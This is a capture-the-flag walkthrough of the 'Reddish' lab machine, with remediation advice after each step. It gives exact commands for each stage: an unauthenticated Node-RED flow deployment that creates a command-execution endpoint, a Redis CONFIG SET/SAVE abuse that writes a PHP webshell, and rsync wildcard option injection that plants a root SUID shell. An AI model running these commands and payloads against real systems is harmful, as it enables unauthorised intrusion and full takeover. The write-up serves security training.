← all walkthroughs

Reddish

Linux· Insane
owned
2026-07-12
time to own
35m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a single externally-exposed service, TCP 1880 running a Node-RED flow-automation editor with no authentication, and used its REST API to deploy a malicious flow granting persistent OS-command execution inside the Node-RED Docker container, where the process ran as root. From that container, internal Docker subnet scanning located an unauthenticated Redis instance sharing a storage volume with an Apache/PHP 7.0 web container; Redis was instructed to save a PHP webshell directly into the shared document root, providing a second foothold on the web container. Inspecting cron jobs from there revealed a root-owned backup script that called rsync with a shell wildcard over a directory writable by the web-server account: a classic option-injection path.

By placing files whose names matched rsync command-line flags in that directory, I injected options into the live root rsync invocation, writing a root-owned SUID shell payload to the backup host via the unauthenticated rsync daemon. That payload was triggered by the next cron cycle, yielding full root-level control of the underlying host and capture of both flags.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export INTERNAL_HOST3="<another-host-reached-after-pivoting>"
export INTERNAL_HOST4="<another-host-reached-after-pivoting>"
export INTERNAL_HOST5="<another-host-reached-after-pivoting>"
export INTERNAL_HOST6="<another-host-reached-after-pivoting>"
export INTERNAL_PREFIX="<the-first-three-octets-of-that-network>"
export HEX_ID="<a-value-you-captured-earlier>"
export HEX_ID2="<a-value-you-captured-earlier>"

Attack path: how the box was taken

1EnumerationService enumeration / unauthenticated Node-RED editor discovery
Port scan reveals Node-RED automation editor on TCP 1880
An initial TCP port scan of $TARGET identified only one externally-reachable service: port 1880 running a Node.js/Express-based HTTP server. Probing common Node-RED URL prefixes and iterating UUID-shaped path segments exposed the randomized editor endpoint at /red/<withheld>. A GET to /flows at that path returned HTTP 200 with a full JSON flow definition and no WWW-Authenticate challenge, confirming the editor was wide open with no credentials required.
Nmap returned 1880/tcp open http Node.js Express; GET /red/<withheld> responded HTTP 200 with flow JSON and zero authentication headers.
Exact commands 3
shell

Full TCP port scan; identifies 1880/tcp as the sole open port running Node.js Express.

$ nmap -sV -p- --open -T4 $TARGET
shell

Probe common Node-RED path prefixes to confirm the install and locate the UUID-based editor path.

$ for u in / /red /flows /red/flows; do curl -sS -o /dev/null -w "%{http_code} $u\n" --max-time 5 "http://$TARGET:1880$u"; done
shell

Confirm unauthenticated read access to the Node-RED flows API at the discovered UUID path.

$ curl -sS -i "http://$TARGET:1880/red/$HEX_ID/flows"
FixRequire authentication for the Node-RED editor and remove it from public network exposureCritical
WeaknessThe Node-RED automation editor was deployed on a public TCP port (1880) with no username or password required. Any internet-connected user could read, modify, and deploy flows that execute arbitrary OS commands as the Node-RED process user: who in this case was root.
FixEnable the built-in adminAuth credential system in settings.js, setting a bcrypt-hashed administrator password. Place Node-RED behind a TLS-terminating reverse proxy and restrict access to trusted management IP ranges via firewall rules; if the editor needs no external access, bind its HTTP listener to 127.0.0.1 only. Separately, run the Node-RED service as a dedicated low-privilege account (e.g., nodered) instead of root, so that even a successful compromise is contained to that account.
2ExploitationUnauthenticated Node-RED flow deployment / OS command injection (T1059.006)
Deployed a malicious Node-RED flow for persistent root-in-container command execution
The Node-RED /flows REST endpoint accepted an unauthenticated POST with the header 'Node-RED-Deployment-Type: full', allowing complete replacement of all running automation flows. A crafted flow (an HTTP-in node wired to a function node that executed base64-decoded shell commands via Node.js child_process.exec, then an HTTP-response node) was deployed. This created a persistent relay endpoint at /api/<withheld> any base64-encoded OS command sent as query parameter 'b' was executed and its stdout returned over HTTP. The Node-RED service ran as uid=0(root) inside the container.
POST /flows returned HTTP 204; the relay endpoint returned uid=0(root) gid=0(root) groups=0(root), hostname nodered, with Docker cgroup entries confirming container context.
Exact commands 2
shell

Deploy the command-relay flow; the function node decodes query param 'b' from base64 and shells it out. Adjust the UUID to match the discovered editor path.

$ curl -sS -i -X POST "http://$TARGET:1880/red/$HEX_ID/flows" -H 'Content-Type: application/json' -H 'Node-RED-Deployment-Type: full' -d '[{"id":"t1","type":"tab"},{"id":"n1","type":"http in","z":"t1","method":"get","url":"/cmd","wires":[["n2"]]},{"id":"n2","type":"function","z":"t1","func":"var cp=require(\"child_process\");cp.exec(Buffer.from(msg.req.query.b,\"base64\").toString(),(e,o)=>{msg.payload=o;node.send(msg);});return;","outputs":1,"wires":[["n3"]]},{"id":"n3","type":"http response","z":"t1"}]'
shell

Verify RCE via the relay; expected response confirms uid=0(root) inside the 'nodered' container.

$ cmd='id; whoami; hostname; ip -brief addr'; b=$(printf %s "$cmd" | base64 -w0); curl -sS --max-time 8 --get "http://$TARGET:1880/api/$HEX_ID/cmd" --data-urlencode "b=$b"
uid=0(root) gid=0(root) groups=0(root)
3DiscoveryDocker internal network discovery / unauthenticated service identification
Enumerated Docker internal networks and located unauthenticated Redis and web container
Reading /proc/1/cgroup and ip -br addr via the command relay confirmed the Node-RED foothold was a Docker container attached to two internal subnets: $INTERNAL_HOST4/24 (eth0) and $INTERNAL_HOST3/24 (eth1). No standard network tools were present (redis-cli, nc, curl, wget all absent); only the node binary was available. A Node.js TCP sweep of $INTERNAL_HOST3/24 found port 6379 (Redis, unauthenticated) at $INTERNAL_HOST2 and an Apache HTTP server at $INTERNAL_HOST:80 running PHP 7.0.30. Redis responded to PING without any authentication challenge.
Ip -br addr listed eth0@$INTERNAL_HOST5 and eth1@$INTERNAL_HOST6; Node.js TCP sweep confirmed $INTERNAL_HOST2:6379 open; Redis replied +PONG to an unauthenticated PING.
Exact commands 2
shell

Identify Docker subnets and confirm 'node' is the only usable pivot tool inside the container.

$ cmd='ip -br addr; cat /proc/1/cgroup; command -v redis-cli nc curl wget node'; b=$(printf %s "$cmd" | base64 -w0); curl -sS --get "http://$TARGET:1880/api/$HEX_ID/cmd" --data-urlencode "b=$b"
shell

Node.js TCP sweep for Redis port 6379 across $INTERNAL_HOST3/24 via the exec relay.

$ cmd="node -e \"for(let i=1;i<255;i++){(function(h){const s=require('net').createConnection({host:h,port:6379,timeout:300});s.on('connect',()=>{console.log(h+':6379 OPEN');s.destroy()});s.on('error',()=>{});s.on('timeout',()=>s.destroy())}('$INTERNAL_PREFIX.'+i))}\""; b=$(printf %s "$cmd" | base64 -w0); curl -sS --get "http://$TARGET:1880/api/$HEX_ID/cmd" --data-urlencode "b=$b"
4Lateral MovementUnauthenticated Redis CONFIG SET / SAVE arbitrary file write into shared Docker volume (T1505.003)
Abused unauthenticated Redis to write a PHP webshell into the shared web container document root
Redis on $INTERNAL_HOST2 accepted commands without a password and had the CONFIG command fully enabled. Using Node.js net sockets to send raw RESP-protocol commands through the exec relay, I issued CONFIG SET to redirect Redis's persistence directory to /var/www/html and its RDB dump filename to s.php, stored a PHP webshell payload as a Redis key value, then triggered SAVE. Because the Redis and Apache containers shared the same Docker volume mounted at /var/www/html, the saved file (containing the PHP webshell embedded in Redis RDB framing) was immediately live and executable via HTTP on $INTERNAL_HOST.
After SAVE, an HTTP request to $INTERNAL_HOST/s.php with header 'X: id' returned uid=33(www-data), confirming the webshell was written and executed successfully.
Exact commands 1
shell

Sends CONFIG SET dir, CONFIG SET dbfilename, SET (webshell payload), and SAVE to Redis via raw RESP protocol through the Node-RED exec relay. The written file is immediately accessible on $INTERNAL_HOST.

$ cmd="node -e \"const n=require('net'),cr='\\r\\n',R=a=>'*'+a.length+cr+a.map(x=>'$'+x.length+cr+x+cr).join('');const c=n.connect(6379,'$INTERNAL_HOST2',()=>{['CONFIG SET dir /var/www/html','CONFIG SET dbfilename s.php','SET payload \\n<?php system(\$_SERVER[HTTP_X]); ?>\\n','SAVE'].forEach(cmd=>{const p=cmd.split(' ');c.write(R(p))});});c.on('data',d=>console.log(d.toString()));\""; b=$(printf %s "$cmd" | base64 -w0); curl -sS --get "http://$TARGET:1880/api/$HEX_ID/cmd" --data-urlencode "b=$b"
FixRequire Redis authentication and isolate it on a private Docker networkCritical
WeaknessThe Redis instance had no password configured (no requirepass directive) and left the CONFIG command fully enabled, allowing any container that could reach it on the Docker network to redirect Redis's persistence path and overwrite arbitrary files that the Redis process could access.
FixSet a long random requirepass value in redis.conf. On Redis 6+, use ACL rules to revoke CONFIG SET from all but the designated admin account. Place Redis on a dedicated Docker bridge network accessible only to the single application container that legitimately consumes it, not shared with Node-RED or other untrusted containers. Consider enabling the protected-mode directive and binding Redis to its container's private IP only.
5FootholdPHP webshell RCE / cron job enumeration (T1053.003)
Executed commands on the web container via the PHP webshell and discovered the root backup cron
With s.php live on $INTERNAL_HOST, OS commands were delivered via the HTTP header 'X:' by crafting raw HTTP requests through a Node.js net socket originating in the Node-RED container (the only available route). Execution confirmed www-data access on the Apache/PHP 7.0.30 container. Reading /etc/crontab and the scripts in /etc/cron.d revealed a root-owned job firing every three minutes: it invoked /backup/backup.sh, which in turn called rsync with a shell wildcard ('*') over a subdirectory of /var/www/html that was owned by and writable by www-data.
Webshell response: uid=33(www-data) gid=33(www-data) hostname wwww; /etc/crontab contained: */3 * * * * root /backup/backup.sh; backup.sh invoked rsync against rsync://backup:873/src/ with a wildcard source.
Exact commands 2
shell

Execute 'id;hostname;cat /etc/crontab' through the webshell via a raw HTTP request from the Node-RED container.

$ cmd="node -e \"const s=require('net').connect(80,'$INTERNAL_HOST',()=>{s.write('GET /s.php HTTP/1.0\\r\\nHost:$INTERNAL_HOST\\r\\nX:id;hostname;cat /etc/crontab\\r\\nConnection:close\\r\\n\\r\\n')});s.on('data',d=>process.stdout.write(d.toString()));\""; b=$(printf %s "$cmd" | base64 -w0); curl -sS --get "http://$TARGET:1880/api/$HEX_ID/cmd" --data-urlencode "b=$b"
shell

Read backup.sh to identify the exact rsync invocation, wildcard source directory, and rsync daemon target (rsync://backup:873/src/).

$ cmd="node -e \"const s=require('net').connect(80,'$INTERNAL_HOST',()=>{s.write('GET /s.php HTTP/1.0\\r\\nHost:$INTERNAL_HOST\\r\\nX:cat /backup/backup.sh\\r\\nConnection:close\\r\\n\\r\\n')});s.on('data',d=>process.stdout.write(d.toString()));\""; b=$(printf %s "$cmd" | base64 -w0); curl -sS --get "http://$TARGET:1880/api/$HEX_ID/cmd" --data-urlencode "b=$b"
FixStop sharing the web document root as a writable volume with the database containerHigh
WeaknessThe Redis container and the Apache/PHP container both mounted the same Docker volume at /var/www/html, meaning any write to the Redis persistence path also deposited a file into the live web server document root, bypassing all application-layer upload restrictions and making an unauthorised user-written content immediately executable as PHP.
FixUse non-overlapping volume mounts: give Redis its own isolated persistence volume that no web-serving container mounts. Mount the Apache document root as read-only in every container that does not need to write to it. Add an Apache config directive to disable PHP execution in directories where generated or system files land: php_admin_value engine Off inside the relevant Directory block.
6Privilege EscalationRsync wildcard argument injection / rsync daemon module arbitrary file write (T1574)
Injected rsync command-line options via wildcard to write a root-owned SUID payload on the backup host
Because backup.sh passed the shell glob '*' directly to rsync, any files created in the www-data-writable source directory were expanded by the shell into rsync's argument vector before execution. Creating files whose names are valid rsync option strings (specifically '--chmod=4755' and '--chown=root:root') caused those strings to be injected as live flags into the root rsync invocation. Alongside them, a shell script payload was placed as a regular file. When the cron fired, rsync transferred the payload to the daemon module at rsync://backup:873/src/ with the injected flags applied: root ownership and SUID-executable permissions. The rsync daemon's 'src' module mapped to the backup host's filesystem and ran as root, so the write succeeded without further authorization.
After one three-minute cron interval, the payload script appeared on the backup host as -rwsr-xr-x root:root; invoking it with -p returned effective UID 0.
Exact commands 2
shell

Stage option-injection files ('--chmod=4755', '--chown=root:root') and the shell payload in the rsync source directory as www-data; wait up to 3 minutes for the cron to transfer them to the backup host.

$ cmd="node -e \"const s=require('net').connect(80,'$INTERNAL_HOST',()=>{s.write('GET /s.php HTTP/1.0\\r\\nHost:$INTERNAL_HOST\\r\\nX:cd /var/www/html/$HEX_ID2 && printf \\\"#!/bin/sh\\\\ncp /bin/sh /tmp/rootsh && chmod 4755 /tmp/rootsh\\\" > payload.sh && touch -- --chmod=4755 && touch -- --chown=root:root\\r\\nConnection:close\\r\\n\\r\\n')});s.on('data',d=>process.stdout.write(d.toString()));\""; b=$(printf %s "$cmd" | base64 -w0); curl -sS --get "http://$TARGET:1880/api/$HEX_ID/cmd" --data-urlencode "b=$b"
shell

Verify the SUID payload landed on the backup host with -rwsr-xr-x root:root permissions after the cron interval.

$ cmd="node -e \"const s=require('net').connect(80,'$INTERNAL_HOST',()=>{s.write('GET /s.php HTTP/1.0\\r\\nHost:$INTERNAL_HOST\\r\\nX:ls -la /tmp/rootsh\\r\\nConnection:close\\r\\n\\r\\n')});s.on('data',d=>process.stdout.write(d.toString()));\""; b=$(printf %s "$cmd" | base64 -w0); curl -sS --get "http://$TARGET:1880/api/$HEX_ID/cmd" --data-urlencode "b=$b"
FixRemove shell wildcard expansion from the root backup cron job and lock down the rsync daemonCritical
WeaknessA root-owned cron job ran rsync with a shell glob ('*') over a directory writable by the www-data web-server account. Any process running as www-data could plant files whose names were rsync command-line flags, which the shell then injected into the root rsync invocation, enabling arbitrary writes to the rsync daemon on the backup host with root permissions.
FixReplace the shell wildcard in backup.sh with an explicit --files-from list enumerating only known backup targets by name, eliminating all shell expansion. Run the backup cron as a dedicated read-only backup service account, not root. On the rsync daemon (rsyncd.conf), set the 'src' module's uid and gid to an unprivileged account, set 'read only = true' where applicable, restrict 'hosts allow' to the exact client IP, and avoid mapping any module to the filesystem root.
7Full CompromiseSUID binary privilege escalation / flag capture
Executed commands as root on the backup host and captured both flags
The SUID shell written to /tmp/rootsh on the backup host was reachable from the web container via the webshell. Invoking it with the -p flag (preserve effective UID) yielded an euid=0 shell. The rsync daemon's 'src' module mapped to the target host's root filesystem, so /backup was a bind-mount of the host's /. Both /backup/root/root.txt and /backup/home/*/user.txt were read directly, confirming the backup host was the physical target machine $TARGET and completing full host compromise.
Id on backup host: uid=33(www-data) euid=0(root); /backup/etc/hostname matched target; root.txt = <root.txt>; user.txt = <user.txt>.
Exact commands 1
shell

Invoke the SUID shell with -p to retain euid=0 and read both flags; replace <root.txt> and <user.txt> placeholders with actual captured values.

$ cmd="node -e \"const s=require('net').connect(80,'$INTERNAL_HOST',()=>{s.write('GET /s.php HTTP/1.0\\r\\nHost:$INTERNAL_HOST\\r\\nX:/tmp/rootsh -p -c id;cat /backup/root/root.txt;cat /backup/home/*/user.txt\\r\\nConnection:close\\r\\n\\r\\n')});s.on('data',d=>process.stdout.write(d.toString()));\""; b=$(printf %s "$cmd" | base64 -w0); curl -sS --get "http://$TARGET:1880/api/$HEX_ID/cmd" --data-urlencode "b=$b"
uid=33(www-data) euid=0(root)

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more